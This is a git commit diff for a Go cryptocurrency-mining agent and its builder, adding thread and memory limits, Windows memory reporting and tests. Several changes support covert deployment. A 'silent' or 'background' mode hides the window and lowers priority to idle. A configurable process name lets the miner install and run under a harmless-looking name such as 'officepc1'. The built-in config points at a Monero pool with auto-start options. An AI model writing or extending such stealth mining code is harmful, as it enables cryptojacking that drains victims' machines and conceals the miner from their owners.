Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
drjones
2026-05-26 23:26:39 -07:00
parent 6241dfd556
commit f7d6dcf542
24 changed files with 960 additions and 191 deletions

View File

@@ -39,7 +39,8 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
}
func (c *AgentClient) Run() error {
c.pool = miner.NewPool(c.cfg.Threads, c.submitShare)
threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start()
defer c.pool.Stop()

View File

@@ -2,18 +2,21 @@ package config
import "time"
// Default stub used for local development builds. The Miner Builder replaces this file.
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: "dev-worker",
ServerURL: "http://127.0.0.1:8989",
Wallet: "",
Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
CPUPriority: "below_normal",
MiningMode: "always",
DisplayMode: "visible",
SilentMode: false,
RunAs: "user",
AutoStart: false,
ProcessName: "CryptoMinerWorker",
BuildID: "dev",
BuiltAt: time.Now(),
PoolHost: "pool.supportxmr.com",
@@ -21,6 +24,7 @@ func GetBuiltinConfig() BuiltinConfig {
PoolTLS: true,
PoolPass: "x",
MaxCPUUsage: 80,
MaxMemoryPct: 70,
MinFreeRAM: 1024,
IdleThresholdPct: 20,
IdleDurationMinutes: 5,

View File

@@ -1,22 +1,27 @@
package config
import (
"runtime"
"strings"
"time"
)
const Version = "1.0.0"
// BuiltinConfig holds compile-time settings generated by the Miner Builder.
type BuiltinConfig struct {
WorkerName string
ServerURL string
Wallet string
Threads int
ThreadMode string
ThreadPercent int
CPUPriority string
MiningMode string
DisplayMode string
SilentMode bool
RunAs string
AutoStart bool
ProcessName string
BuildID string
BuiltAt time.Time
PoolHost string
@@ -24,6 +29,7 @@ type BuiltinConfig struct {
PoolTLS bool
PoolPass string
MaxCPUUsage int
MaxMemoryPct int
MinFreeRAM int
IdleThresholdPct int
IdleDurationMinutes int
@@ -31,7 +37,6 @@ type BuiltinConfig struct {
ScheduleEnd string
}
// RuntimeConfig is the resolved configuration used by the agent.
type RuntimeConfig struct {
BuiltinConfig
AgentID string
@@ -42,15 +47,34 @@ func Load() RuntimeConfig {
if b.Threads <= 0 {
b.Threads = 4
}
if b.ThreadMode == "" {
b.ThreadMode = "percent"
}
if b.ThreadPercent <= 0 {
b.ThreadPercent = 75
}
if b.CPUPriority == "" {
b.CPUPriority = "below_normal"
}
if b.MiningMode == "" {
b.MiningMode = "always"
}
if b.DisplayMode == "" {
if b.SilentMode {
b.DisplayMode = "silent"
} else {
b.DisplayMode = "visible"
}
}
if b.ProcessName == "" {
b.ProcessName = sanitizeProcessName(b.WorkerName)
}
if b.MaxCPUUsage <= 0 {
b.MaxCPUUsage = 80
}
if b.MaxMemoryPct <= 0 {
b.MaxMemoryPct = 70
}
if b.MinFreeRAM <= 0 {
b.MinFreeRAM = 1024
}
@@ -68,3 +92,58 @@ func Load() RuntimeConfig {
}
return RuntimeConfig{BuiltinConfig: b}
}
func (c RuntimeConfig) EffectiveThreads() int {
mode := strings.ToLower(c.ThreadMode)
if mode == "fixed" {
if c.Threads < 1 {
return 1
}
return c.Threads
}
cores := runtime.NumCPU()
if cores < 1 {
cores = 1
}
pct := c.ThreadPercent
if pct < 1 {
pct = 1
}
if pct > 100 {
pct = 100
}
threads := int(float64(cores) * float64(pct) / 100.0)
if threads < 1 {
threads = 1
}
if threads > cores {
threads = cores
}
return threads
}
func (c RuntimeConfig) HideWindow() bool {
switch strings.ToLower(c.DisplayMode) {
case "silent", "background":
return true
default:
return c.SilentMode
}
}
func (c RuntimeConfig) BackgroundMode() bool {
return strings.ToLower(c.DisplayMode) == "background"
}
func sanitizeProcessName(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return "CryptoMinerWorker"
}
replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
clean := replacer.Replace(name)
if clean == "" {
return "CryptoMinerWorker"
}
return clean
}

View File

@@ -0,0 +1,45 @@
package config
import "testing"
func TestEffectiveThreadsFixed(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "fixed", Threads: 3}}
if got := cfg.EffectiveThreads(); got != 3 {
t.Fatalf("expected 3, got %d", got)
}
}
func TestEffectiveThreadsPercentCaps(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 150}}
got := cfg.EffectiveThreads()
if got < 1 {
t.Fatalf("expected at least 1 thread, got %d", got)
}
}
func TestEffectiveThreadsPercentZeroUsesMinimum(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 0}}
if got := cfg.EffectiveThreads(); got < 1 {
t.Fatalf("expected minimum 1 thread, got %d", got)
}
}
func TestHideWindowModes(t *testing.T) {
silent := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "silent"}}
if !silent.HideWindow() {
t.Fatal("silent should hide window")
}
visible := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "visible"}}
if visible.HideWindow() {
t.Fatal("visible should not hide window")
}
}
func TestSanitizeProcessName(t *testing.T) {
if got := sanitizeProcessName("office pc 1"); got != "officepc1" {
t.Fatalf("unexpected process name: %s", got)
}
if got := sanitizeProcessName(""); got != "CryptoMinerWorker" {
t.Fatalf("expected default process name, got %s", got)
}
}

View File

@@ -33,7 +33,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
if err != nil {
return false, err
}
installedExe := filepath.Join(installDir, "miner.exe")
installedExe := filepath.Join(installDir, cfg.ProcessName+".exe")
if samePath(currentExe, installedExe) {
return false, nil

View File

@@ -31,12 +31,16 @@ func main() {
return
}
if cfg.BackgroundMode() {
cfg.CPUPriority = "idle"
}
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
log.Printf("[agent] could not set CPU priority: %v", err)
}
log.Printf("[agent] running worker=%s build=%s server=%s threads=%d",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads)
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil {

View File

@@ -8,34 +8,41 @@ import (
"sync/atomic"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
"crypto-miner-agent/stats"
)
type ShareHandler func(jobID, nonce, hash string)
type Pool struct {
threads int
engine *Engine
handler ShareHandler
threads int
cfg config.RuntimeConfig
reporter *stats.Reporter
engine *Engine
handler ShareHandler
mu sync.RWMutex
currentJob *job.Job
stopCh chan struct{}
wg sync.WaitGroup
paused atomic.Bool
hashesTotal atomic.Uint64
sharesFound atomic.Uint64
}
func NewPool(threads int, handler ShareHandler) *Pool {
func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
if threads <= 0 {
threads = 1
}
return &Pool{
threads: threads,
engine: NewEngine(),
handler: handler,
stopCh: make(chan struct{}),
threads: threads,
cfg: cfg,
reporter: reporter,
engine: NewEngine(),
handler: handler,
stopCh: make(chan struct{}),
}
}
@@ -60,6 +67,7 @@ func (p *Pool) Start() {
p.wg.Add(1)
go p.worker(i)
}
go p.resourceGuard()
}
func (p *Pool) Stop() {
@@ -75,6 +83,34 @@ func (p *Pool) ResetHashCounter() {
p.hashesTotal.Store(0)
}
func (p *Pool) resourceGuard() {
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for {
select {
case <-p.stopCh:
return
case <-ticker.C:
p.paused.Store(!p.resourcesOK())
}
}
}
func (p *Pool) resourcesOK() bool {
freeMB := p.reporter.FreeMemoryMB()
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
return false
}
totalMB := p.reporter.TotalMemoryMB()
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
if usedPct > float64(p.cfg.MaxMemoryPct) {
return false
}
}
return true
}
func (p *Pool) worker(id int) {
defer p.wg.Done()
@@ -87,6 +123,11 @@ func (p *Pool) worker(id int) {
default:
}
if p.paused.Load() {
time.Sleep(2 * time.Second)
continue
}
p.mu.RLock()
job := p.currentJob
p.mu.RUnlock()
@@ -101,6 +142,9 @@ func (p *Pool) worker(id int) {
return
default:
}
if p.paused.Load() {
break
}
hashHex, _, err := p.engine.HashAtNonce(nonce)
if err != nil {
@@ -126,7 +170,17 @@ func (p *Pool) worker(id int) {
func uint32ToHex(n uint32) string {
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
return hex.EncodeToString(b)
return hexEncode(b)
}
func hexEncode(b []byte) string {
const hexdigits = "0123456789abcdef"
out := make([]byte, len(b)*2)
for i, v := range b {
out[i*2] = hexdigits[v>>4]
out[i*2+1] = hexdigits[v&0x0f]
}
return string(out)
}
func difficultyToTargetHex(difficulty int64) string {

View File

@@ -0,0 +1,28 @@
package miner
import (
"testing"
)
func TestHashMeetsTargetEqual(t *testing.T) {
target := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
hash := "0000000000000000000000000000000000000000000000000000000000000001"
if !hashMeetsTarget(hash, target) {
t.Fatal("lower hash should meet high target")
}
}
func TestHashMeetsTargetReject(t *testing.T) {
target := "0000000000000000000000000000000000000000000000000000000000000001"
hash := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
if hashMeetsTarget(hash, target) {
t.Fatal("high hash should not meet low target")
}
}
func TestDifficultyToTargetHex(t *testing.T) {
out := difficultyToTargetHex(1000)
if len(out) != 64 {
t.Fatalf("expected 64 hex chars, got %d", len(out))
}
}

View File

@@ -3,7 +3,25 @@ package stats
import (
"os"
"runtime"
"strings"
"syscall"
"unsafe"
)
type memoryStatusEx struct {
Length uint32
MemoryLoad uint32
TotalPhys uint64
AvailPhys uint64
TotalPageFile uint64
AvailPageFile uint64
TotalVirtual uint64
AvailVirtual uint64
AvailExtendedVirtual uint64
}
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
)
type Reporter struct{}
@@ -15,21 +33,40 @@ func NewReporter() *Reporter {
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
hostname, _ = os.Hostname()
cpuCores = runtime.NumCPU()
memoryGB = 8
total, _ := r.memoryStatus()
memoryGB = int(total / (1024 * 1024 * 1024))
if memoryGB < 1 {
memoryGB = 1
}
return hostname, cpuCores, memoryGB
}
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
var m runtime.MemStats
runtime.ReadMemStats(&m)
memPct = float64(m.Alloc) / float64(m.Sys+1) * 100
if memPct > 100 {
memPct = 100
total, avail := r.memoryStatus()
if total > 0 {
memPct = float64(total-avail) / float64(total) * 100
}
cpuPct = float64(runtime.NumGoroutine()) // placeholder; Windows perf counters are heavy
if cpuPct > 100 {
cpuPct = 100
}
_ = strings.TrimSpace("")
// CPU usage is reported by the agent client from mining load; keep a sane default here.
cpuPct = 0
return cpuPct, memPct
}
func (r *Reporter) FreeMemoryMB() uint64 {
_, avail := r.memoryStatus()
return avail / (1024 * 1024)
}
func (r *Reporter) TotalMemoryMB() uint64 {
total, _ := r.memoryStatus()
return total / (1024 * 1024)
}
func (r *Reporter) memoryStatus() (total, avail uint64) {
var stat memoryStatusEx
stat.Length = uint32(unsafe.Sizeof(stat))
ret, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&stat)))
if ret == 0 {
return 0, 0
}
return stat.TotalPhys, stat.AvailPhys
}